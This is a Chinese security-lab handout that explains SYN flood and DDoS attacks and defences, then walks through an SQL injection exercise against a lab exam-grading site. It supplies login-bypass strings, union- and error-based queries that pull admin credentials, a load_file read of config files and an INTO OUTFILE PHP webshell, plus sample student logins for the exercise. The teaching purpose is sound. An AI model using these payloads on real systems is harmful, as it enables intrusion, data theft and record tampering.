泛洪攻击

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

攻击源利用TCP漏洞向服务器发出攻击,使得服务器(靶机)网络资源被耗尽,观察攻击的过程。

备注:需开启连接windows和linux靶机,在linux运行synflood.py对windows进行攻击,并通过观察浏览网页发现问题(工具在root->gongfang->synflood->synflood.py)。

洪泛攻击是拒绝服务攻击中最有效、最常见的方式,在很多时候这两个概念甚至可以互换。

该攻击方式几乎是从互联网络的诞生以来,就伴随着互联网络的发展而一直存在也不断发展和升级。

要引起注意的是,许多黑客乐意把他们开发的DoS攻击软件放在互联网上供各种感兴趣的人免费下载,任何一个上网都能够轻松的从Internet上获得这些工具,从某种意义上说,任何一个上网者都可能构成网络安全的潜在威胁。

DoS攻击给飞速发展的互联网络安全带来重大的威胁。

就目前而言,DoS 攻击永远不会消失而且从技术上目前没有根本的解决办法。

1、掌握泛洪攻击的基本原理;
2、思考防范泛洪攻击的手段;
泛洪攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。

在服务器与客户端之间传输数据时,先建立tcp连接是必须的,在传送tcp数据时,必须建立一个虚电路,即tcp连接。

服务器与客户端建立tcp连接的标准过程被称为三次握手。

SYN 洪泛攻击通过故意不完成三次握手过程,造成连接一方的资源耗尽。

攻击者向靶机发送一个SYN报文后就拒接返回报文,这样靶机在发出SYN +ACK 应答报文后是无法收到客户端的ACK报文的,这样第三次握手就无法完成,这种情况下,靶机即被攻击的服务器端一般会重试再发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间称为SYN Timeout,一般来说这个时间大约为1分钟。

通常,一个用户出现这种异常的情况,并不会造成很大的问题,但是对于攻击者来说,一定会大量的模拟这种情况,这样就有可能造成靶机即服务器不能正常提供服务,最后有可能导致服务器崩溃。

因为服务器为了维护大量的半连接列表要消耗非常多的资源,例如计算机需要消耗CPU时间对半连接列表中的ip进行SYN+ACK的重试,还要分配内存存储的协议信息,TCP状态信息,IP地址信息,端口号,IP头,定时器信息,顺序号,指向目的主机的路由信息等。

1、如何通过泛洪攻击实现对目标服务器端的攻击?
2、防范泛洪攻击的手段有哪些?
3、泛洪攻击是在TCP/IP协议的第几层?
DDOS攻击拓扑图如下:
备注:登录控制台开启windows靶机和linux靶机,在windows靶机上运行ddos.exe对linux进行ddos攻击,linux靶机终端使用iptraf监控(
传统上,攻击者所面临的主要问题是网络带宽,由于较小的网络规模和较慢的网络速度的限制,攻击者无法发出过多的请求。

虽然类似"the ping of death "的攻击类型只需要较少量的包就可以摧毁一个没有打过补丁的UNIX系统,但大多数的DoS攻击还是需要相当大的带宽的,而以个人为单位的黑客们很难使用高带宽的资源。

为了克服这个缺点,DoS攻击者开发了分布式的DoS攻击方式,这就是DDoS攻击。

和DoS 比较起来, 其破坏性和危害程度更大, 涉及范围更广, 也更难发现攻击者。

传统的DoS 攻击利用了软件漏洞或系统负荷过度从而使计算机系统无法被正常访问, 一般只是一台机器向受害者发起攻击。

而DDoS是黑客利用在已经侵入并已控制的不同的高带宽主机(可能是数百,甚至成千上万台)上安装大量的DoS服务程序,它们等待来自中央攻击控制中心的命令,中央攻击控制中心在适时启动全体受控主机的DoS服务进程,让它们对一个特定目标发送尽可能多的网络访问请求,形成一股DoS洪流冲击目标系统,猛烈的DoS攻击同一个网站。

在寡不敌众的力量抗衡下,被攻击的目标网站会很快失去反应而不能及时处理正常的访问甚至系统瘫痪崩溃。

由于被攻击者在同一时间内收到大量数据包不是一台主机发送来的, 这使得防御变得非常困难。

同时, 因为攻击来自广泛的IP 地址, 而且来自每台主机的少量数据包有可能从入侵检测系统(IrionDetectionSystems,IDS) 眼皮下溜掉, 所以探测和阻止也就变得更加困难。

一、ddos原理
拒绝服务就是用超出被攻击目标处理能力的海量数据包消耗可用系统,带宽资源,致使网络服务瘫痪的一种攻击手段。

在早期,拒绝服务攻击主要是针对处理能力比较弱的单机,如个人pc,或是窄带宽连接的网站,对拥有高带宽连接,高性能设备的网站影响不大,但在99年底,伴随着DDoS 的出现,这种高端网站高枕无忧的局面不复存在,与早期的DoS攻击由单台攻击主机发起,单兵作战相比较,DDoS实现是借助数百,甚至数千台被植入攻击守护进程的攻击主机同时发起的集团作战行为,在这种几百,几千对一的较量中,网络服务提供商所面对的破坏力是空前巨大的。

分布式拒绝服务攻击,攻击者利用因特网上成百上千的“Zombie”(僵尸):被利用主机,对攻击目标发动威力巨大的拒绝服务攻击。

攻击者的身份很难确认。

所有DDoS 攻击均由三部分组成:
1、客户端程序:Client Program(黑客)
2、主控端:Master Server
通常安装在ISP或大学网络
- 带宽保证
- 网络性能
3、“僵尸”:Agent (Zombie) Program
4、在TFN中,Master与Zombie间的通讯只是ICMP_ECHOREPLY数据包,没有TCP/UDP 通信DoS/DDoS攻击通常不会对敏感数据产生直接威胁。

攻击者主要目的是让被攻击系统停止正常服务,而不是窃取资料。

但是,DoS/DDoS经常被利用来掩盖真正的入侵攻击。

另外,网络管理人员在对付拒绝服务攻击时,往往修改系统或网络
设备的一些设置,从而留下其他可能被黑客利用的漏洞,例如停止或重新启动某种服务,就可能产生问题。

修改网络配置时,一定要清楚可能造成的后果。

二、攻击类型
1、TCP全连接攻击
和SYN攻击不同,它是用合法并完整的连接攻击对方,SYN攻击采用的是半连接攻击方式,而全连接攻击是完整的,合法的请求,防火墙一般都无法过滤掉这种攻击,这种攻击在现在的DDOS 软件中非常常见,有UDP碎片还有SYN洪水,甚至还有TCP洪水攻击,这些攻击都是针对服务器的常见流量攻击
SYN变种攻击
发送伪造源IP的SYN数据包但是数据包不是64字节而是上千字节这种攻击会造成一些防火墙处理错误锁死,消耗服务器CPU内存的同时还会堵塞带宽。

2、TCP混乱数据包攻击
发送伪造源IP的TCP数据包,TCP头的TCP Flags 部分是混乱的可能是
syn,ack,syn+ack,syn+rst等等,会造成一些防火墙处理错误锁死,消耗服务器CPU内存的同时还会堵塞带宽。

3、针对用UDP协议的攻击
很多聊天室,视频音频软件,都是通过UDP数据包传输的,攻击者针对分析要攻击的网络软件协议,发送和正常数据一样的数据包,这种攻击非常难防护,一般防火墙通过拦截攻击数据包的特征码防护,但是这样会造成正常的数据包也会被拦截
4、针对WEB Server的多连接攻击
通过控制大量肉鸡同时连接访问网站,造成网站无法处理瘫痪,这种攻击和正常访问网站是一样
的,只是瞬间访问量增加几十倍甚至上百倍,有些防火墙可以通过限制每个连接过来的IP连接数来防护,但是这样会造成正常用户稍微多打开几次网站也会被封
针对WEB Server的变种攻击通过控制大量肉鸡同时连接访问网站,一点连接建立就不断开,一直发送发送一些特殊的GET访问请求造成网站数据库或者某些页面耗费大量的CPU,这样通过限制每个连接过来的IP连接数就失效了,因为每个肉鸡可能只建立一个或者只建立少量的连接。

这种攻击非常难防护,后面给大家介绍防火墙的解决方案
5、针对WEB Server的变种攻击
通过控制大量肉鸡同时连接网站端口,但是不发送GET请求而是乱七八糟的字符,大部分防火墙分析攻击数据包前三个字节是GET字符然后来进行http协议的分析,这种攻击,不发送GET请求就可以绕过防火墙到达服务器,一般服务器都是共享带宽的,带宽不会超过10M 所以大量的肉鸡攻击数据包就会把这台服务器的共享带宽堵塞造成服务器瘫痪,这种攻击也非常难防护,因为如果只简单的拦截客户端发送过来没有GET字符的数据包,会错误的封锁很多正常的数据包造成正常用户无法访问。

6、针对游戏服务器的攻击
因为游戏服务器非常多,这里介绍最早也是影响最大的传奇游戏,传奇游戏分为登陆注册端口7000,人物选择端口7100,以及游戏运行端口7200,7300,7400等,因为游戏自己的协议设计得非常复杂,所以攻击的种类也花样倍出,大概有几十种之多,而且还在不断的发现新的攻击种类,这里介绍目前最普遍的假人攻击,假人攻击是通过肉鸡模拟游戏客户端进行自动注册、登陆、建立人物、进入游戏活动从数据协议层面模拟正常的游戏玩家,很难从游戏数据包来分析出哪些是攻击哪些是正常玩家。

以上介绍的几种最常见的攻击也是比较难防护的攻击。

一般基于包过滤的防火墙只能分析每个数据包,或者有限的分析数据连接建立的状态,防护SYN,或者变种的SYN,ACK攻击效果不错,但是不能从根本上来分析tcp,udp协议,和针对应用层的协议,比如http,游戏协议,软件视频音频协议,现在的新的攻击越来越多的都是针对应用层协议漏洞,或者分析协议然后发送和正常数据包一样的数据,或者干脆模拟正常的数据流,单从数据包层面,分析每个数据包里面有什么数据,根本没办法很好的防护新型的攻击。

三、防御ddos攻击
1、定期扫描
要定期扫描现有的网络主节点,清查可能存在的安全漏洞,对新出现的漏洞及时进行清理。

骨干节点的计算机因为具有较高的带宽,是黑客利用的最佳位置,因此对这些主机本身加强主机安全是非常重要的。

而且连接到网络主节点的都是服务器级别的计算机,所以定期扫描漏洞就变得更加重要了。

2、在骨干节点配置防火墙
防火墙本身能抵御DdoS攻击和其他一些攻击。

在发现受到攻击的时候,可以将攻击导向一些牺牲主机,这样可以保护真正的主机不被攻击。

当然导向的这些牺牲主机可以选择不重要的,或者是linux以及unix等漏洞少和天生防范攻击优秀的系统。

3、用足够的机器承受黑客攻击
这是一种较为理想的应对策略。

如果用户拥有足够的容量和足够的资源给黑客攻击,在它不断访问用户、夺取用户资源之时,自己的能量也在逐渐耗失,或许未等用户被攻死,黑客已无力支招儿了。

不过此方法需要投入的资金比较多,平时大多数设备处于空闲状态,和目前中小企业网络实际运行情况不相符。

4、充分利用网络设备保护网络资源
所谓网络设备是指路由器、防火墙等负载均衡设备,它们可将网络有效地保护起来。

当网络被攻击时最先死掉的是路由器,但其他机器没有死。

死掉的路由器经重启后会恢复正常,而且启动起来还很快,没有什么损失。

若其他服务器死掉,其中的数据会丢失,而且重启服务器又是一个漫长的过程。

特别是一个公司使用了负载均衡设备,这样当一台路由器被攻击死机时,另一台将马上工作。

从而最大程度的削减了DdoS的攻击。

5、过滤不必要的服务和端口
过滤不必要的服务和端口,即在路由器上过滤假IP……只开放服务端口成为目前很多服务器的流行做法,例如WWW服务器那么只开放80而将其他所有端口关闭或在防火墙上做阻止策略。

6、检查访问者的来源
使用Unicast Reverse Path Forwarding等通过反向路由器查询的方法检查访问者的IP地址是否是真,如果是假的,它将予以屏蔽。

许多黑客攻击常采用假IP地址方式迷惑用户,很难查出它来自何处。

因此,利用Unicast Reverse Path Forwarding可减少假IP地址的出现,有助于提高网络安全性。

7、过滤所有RFC1918 IP地址
RFC1918 IP地址是内部网的IP地址,像10.0.0.0、192.168.0.0 和172.16.0.0,它们不是某个网段的固定的IP地址,而是Internet内部保留的区域性IP地址,应该把它们过滤掉。

此方法并不是过滤内部员工的访问,而是将攻击时伪造的大量虚假内部IP过滤,这样也可以减轻DdoS的攻击。

8、限制SYN/ICMP流量
用户应在路由器上配置SYN/ICMP的最大流量来限制SYN/ICMP封包所能占有的最高频宽,这样,当出现大量的超过所限定的SYN/ICMP流量时,说明不是正常的网络访问,而是有黑客入侵。

早期通过限制SYN/ICMP流量是最好的防范DOS的方法,虽然目前该方法对于DdoS效果不太明显了,不过仍然能够起到一定的作用。

1、DDos攻击的基本原理是什么?
2、ddos难以彻底防御的原因是什么?
某学校为了方便学生学习与考试,以便及时检查大家的学习成果,建立了一个在线考试系统,系统有学生注册登录考试、查看成绩、留言、后台试题与成绩管理等模块。

这学期期中考试过了,有些同学认为自己考得不理想,所以想查看自己的考试成绩并且修改成绩。

假如你就是这个学生,你会怎么做?假如你是管理员,你又怎样加强考试系统的安全性?
已知考试系统中有如下学生,账号以及密码,也就是这部分学生要入侵数据库修改成绩:
学生准考证密码
stu1 516629 258154
stu2 999498 172935
stu3 864822 984861
stu4 268819 384531
stu5 906187 466678
stu6 483139 461179
攻击环境结构
备注:登录控制台连接windows靶机,针对靶机ip/kaoshi/进行注入攻击,pangolin_3‘穿山甲’在D盘->攻防工具包->sql注入案例
需求分析案例设备案例原理案例步骤
http://192.168.128.12/kaoshi/page1.php?id=9http://192.168.128 .12/kaoshi/page1.php?id=9http://192.168.128.12/kaoshi/page1.ph p?id=9'
攻防教学实验
主机安全
•系统安全Windows2003系统安全Linux系统安全口令破解Windows口令破解Linux 口令破解软件破解Web安全Apache服务器安全设置Apache日志审计数据库安全SQL注入防范SQL
注入安全协议TCP/IP协议分析IPSec-IP安全协议SSL-安全套接层协议网络攻防
•信息搜集主机发现端口扫描漏洞扫描Web漏洞扫描器FTP弱口令扫描器综合扫描与安全评估网络嗅探明文嗅探原始套接字缓冲区溢出本地缓冲区溢出远程溢出拒绝服务攻击洪泛攻击DDos攻击欺骗攻击ARP欺骗特洛伊木马网页木马木马捆绑与隐藏木马免杀防火墙iptables应用蜜罐
( HoneyPot)捕获病毒攻防
•引导区病毒BMW病毒脚本病毒脚本及恶意网页病毒宏病毒word宏病毒蠕虫病毒暴风一号
蠕虫病毒密码学及应用
•对称密码算法DES算法AES算法IDEA算法RC4算法BlowFish算法公开密钥加密算法o RSA算法ELGamal算法椭圆曲线密码编码学单向散列算法MD5算法SHA算法其
他算法Base64inC算法CRC32算法PKI技术证书管理信任模型无线安全
•无线安全基础应用WLAN通信AP桥模式无线安全方案无线安全配置test无线安全认证模
式容灾备份
•文件恢复WINDOWS文件恢复Ext2文件恢复RAID磁盘阵列Windows制作磁盘阵列
o Linux制作磁盘阵列数据库备份MYSQL数据库备份与恢复SQL Server 数据库备
份双机热备份双机备份-mysql主从模式基于SQL Server 2000双机热备份案例分析
攻防案例
•构建企业边界防火墙
▪服务器入侵检测与防御
▪构建企业vpn
▪SQL注入案例
▪变量覆盖类案例
▪跨站脚本攻击案例
▪cookie欺骗案例
▪文件包含漏洞案例
▪在线编辑器漏洞案例
▪远程代码执行漏洞案例
▪上传漏洞案例
▪IIS漏洞案例
管理菜单
•设备管理
•网络管理
•平台拓扑
•课件管理
•系统管理
•用户管理
用户菜单
•admin
•我的帐户
•登出
(1)动手发掘漏洞/利用工具发掘漏洞,尽量发现更多的漏洞;
(2)利用漏洞,获得权限,更改成绩;
(3)在服务器上传入webshell;
(4)站点加固,根据发现的漏洞,从代码、配置等等进行站点加固。

Pc机1台
Web服务器1台
1、SQL注入原理
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。

但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。

用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL Injection 攻击技术就其本质而言,它利用的工具是SQL的语法,针对的是应用程序开发者编程中的漏洞,当攻击者能操作数据,向应用程序中插入一些SQL语句时,SQL Injection攻击就发生了。

实际上,SQL Injection攻击是存在于常见的多连接的应用程序中的一种漏洞,攻击者通过在应用程序预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的任意查询。

这类应用程序一般是Web Application,它允许用户输入查询条件,并将查询条件嵌入SQL 语句中,提交到数据库中执行。

通过构造畸形SQL语句攻击者能够获取额外的信息数据。

就风险而言,SQL Injection攻击也是位居前列,和缓冲区溢出漏洞相比,其优势在于它是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

SQL注入甚至能够获得数据库所在的服务器的访问权限。

在某些环境下,SQL Injection 漏洞的风险要高过其他所有的漏洞。

所以说,Sql注入的后果可谓不堪设想。

2、判断数据库类型
/index.aspx?i=23 and (select count(*) from msysobjects)>0 //返回错误信息“msysobject s没有读取权限”,是ACCESS数据库。

/index.aspx?i=23 and (select count(*) from msysobjects)>0 //返回错误页面,不是ACCESS数据库。

/index.aspx?i=23 and (select count(*) from sysobjects)>0 //返回成功,证明使用的是SQL数据库。

3、sql注入类型
(1)绕过认证,直接登录(post类型)
入侵者通过对网站进行扫描或者自行踩点,找到登录表单,如果提交表单的数据没有做严谨的过滤,则会让入侵者有机可乘,绕过认证实现无账号密码登录,从而获取相关信息,或者做一些破坏。

如果账号密码登录的验证如下:
$query="select * from 表where UserName=’$ _POST[UserName]’ and Password='
$_POST[Password]' ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{ echo “后台登陆成功”; }
esle { echo “重新登陆”;exit;}
那么入侵者就可以通过以下方式成功登录:
1)用户名和密码都输入’or’a’=‘a
Sql成了select * from 表where UserName=‘‘ or ’a’=‘a’ and Password=‘‘ or ’a’=‘a’
2)用户名和密码都输入’or 1=1 and ‘‘=‘
Sql成了select * from 表where UserNa me=‘ ‘ or 1=1 and ‘‘=‘‘ and Password=‘ ‘ or 1=1 and ‘‘=‘‘
3)用户名输入’or 1=1 # 密码随便输入
Sql成了select * from 表where UserName=‘ ‘or 1=1 # and Password=‘anything’
(#号时说明后面部分被注释掉)
4)假设admin的账号为admin的话你也可以用户名输入admin’ and 1=1 # 密码随便输入
Sql成了select * from 表where U serName=‘admin‘and 1=1 # and Password=‘anything’
(2)利用sql语句返回错误获取可利用的信息(post类型)
以(1)的说明为例,如果入侵者在表单中输入某些会导致返回结果出错的sql查询语句,便可从返回的错误信息中获取某些信息,例如数据库用户名,数据库名、表名、字段名等。

例如:通过查询返回的结果不是整型而出错暴露出信息,@@version/ user()/database()
在文本框输入:1'and 1=(select @@version)#
再如mssql注入,利用出错返回值得到想要的信息。

1'and 1=(select name from sysobjects where xtype='U' for xml auto)--
利用整型1=非整型,出错而得到所有表名信息,假如有个表是Admin
1'and 1=(select cast(id as varchar)+'a' from sysobjects where name='Admin')--
利用整型1=非整型,出错而得到所有表的id信息,假如是8662
1'and 1=(select name from syscolumns where id=8662 for xml auto)--
利用整型1=非整型,出错而得到所有字段信息,假如是user,password
1'and 1=(select user,password, from admin for xml auto)--
利用整型1=非整型,出错而得到用户名密码
(3)url注入
通过查找存在注入点的url进行sql注入,是最为常见的一种方式,如果对于url传递的sql语句过滤不够严谨,则会造成很大的危害,这种注入可以通过编码或者进制的转换来绕过一些过滤。

网站如http://url/xx?id=1111这样的类型,通常都存在url注入漏洞。

http://url/xx?id=1111的sql语句大概就是select from table where id = $_GET[id],因此,入侵者根据这个基础,则可以构造出很多的语句来进行查询从而达到他的目的。

入侵者一般会这样做:
1)检测是否存在注入漏洞
http://url/xx?id=1111 and 1=1 (正常页面)
http://url/xx?id=1111 and 1=2 (出错页面)
如果出现以上的结果,则说明可以注入。

2)通过构造错误返回错误信息,如http://url/xx?id=1111 and 1=2 (出错页面)可能返回的错误信息中出现绝对路径,服务器版本等。

假如得到的路径为d:/xampp/htdocs/test/xx.php
3)检测表段
http://test/xx?id=1111 order by 1
如果页面出错,则把1改为2,一次类推,如果order by n-1是错误,order by n+1是错误,order by n是出现正确页面,则查询表的字段有n个。

假如我们这里的n=3;
4)利用select xxx union select
select union select
如果前面的select错误,则会执行union select,需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。

如果字段数不等将返回ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误。

如下:
http:// test /xx?id=1111 and 1=2 union select 1,2,3#
这里将会在页面上出现1,2,3。

也就是这三个字段在页面显示的地方,此时我们就可以充分利用这几个地方。

暴露数据库
http:// test /xx?id=1111 and 1=2 union select 1,2,database()#
这里会在页面上看到当前数据库的名称,假设名称为test;
下一步,暴露表名
http:// test /xx?id=1111 and 1=2 union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=0x74657374
0x74657374是数据库test转为16进制。

此时将会暴露出test库中所有的表名;
下一步,暴露字段名(选择一个表,假如是admin表)
http:// test /xx?id=1111 and 1=2 union select 1,2, group_concat(column_name)
from information_schema.columns where table_name=0x61646D696E
0x61646D696E是表admin的十六进制。

这里会在页面上显示admin表的所有字段名,假如为id,user,pass
下一步,暴露字段值
http:// test /xx?id=1111 and 1=2 union select 1,2, group_concat(user,pass) from admin
这里会在页面显示admin表中user与pass的值。

这时候,我们就拿到账号密码了。

注意:如果在执行的过程中出错,可能是过滤掉了某些字符,这时候入侵者只需要转一下编码或者格式就能绕过。

当入侵者拿到账号密码的时候,就可以通过寻找登录点来登录,可以通过猜登陆点,如
http:// test /login.php, http:// test /admin/login.php等等,或者利用网站目录扫描工具,如wwwscan。

扫描出目录然后尝试登录。

同时,如果扫描出来的目录有conn.php,config.php,或者conn目录的时候,结合刚开始的时候获得的绝对路径d:/xampp/htdocs/test/,入侵者就可以利用load_file()来取得里面的内容,因此,数据库的账号密码也暴露无遗了。

如:http:// test /xx?id=1111 and 1=2 union select 1,2,load_file(d:/xampp/htdocs/test/conn.php) d:/xampp/htdocs/test/conn.php可以转为16进制或者其他编码以绕过过滤。

此时可以查看页面源代码,看到连接数据库的账号密码,这样一来,入侵者找到数据库入口便可以直接修改数据库了。

Outfile””写入webshell
当知道绝对路径,而且网站没有过严格的过滤的时候,入侵者便可以轻松写入文件,如下http:// test /xx?id=1111 and 1=2 union select 1,2,'<?php system($cmd); ?>' from admin into outfile 'D:\\xampp\\htdocs\\test\\webshell.php'%23
%23也就是#号。

这样子便可以在服务器的test目录下生成一个webshell.php文件了,入侵者访问webshell.php,便可以利用cmd命令做任何事情。

以上的操作,要基于一个过滤不严格的情况下,才能够使用union、load_file、outfile’’等。

而且,
只有连接数据库的用户为超级用户权限的情况下,才有操作cmd或者写入文件的权限。

如果是一般用户或者有限制的用户连接的数据库,入侵者则不能成功操作。

(4)使用工具注入
当大家明白了注入的原理之后,便可使用工具来测试网站是否可以注入,从而更好的加强网站的安全。

通常用的注入工具有“阿D注入检测工具”,“pangolin穿山甲注入工具”,我们在实验的时候会详细介绍。

4、防止SQL注入
我们花了很大一部分篇幅去讲解sql注入,不是为了教大家去注入去做破坏去做违法的事情,通过注入原理、操作的讲解,是希望大家能够清楚的知道,黑客是怎样入侵我们的网站,以及我们在做渗透的时候,是怎样去检测网站的漏洞、网站的安全性,从而让我们更全面的做好网站安全的设置,更好的保护网站的安全,以及遇到安全问题的时候能够熟悉地去解决。

相关文档
最新文档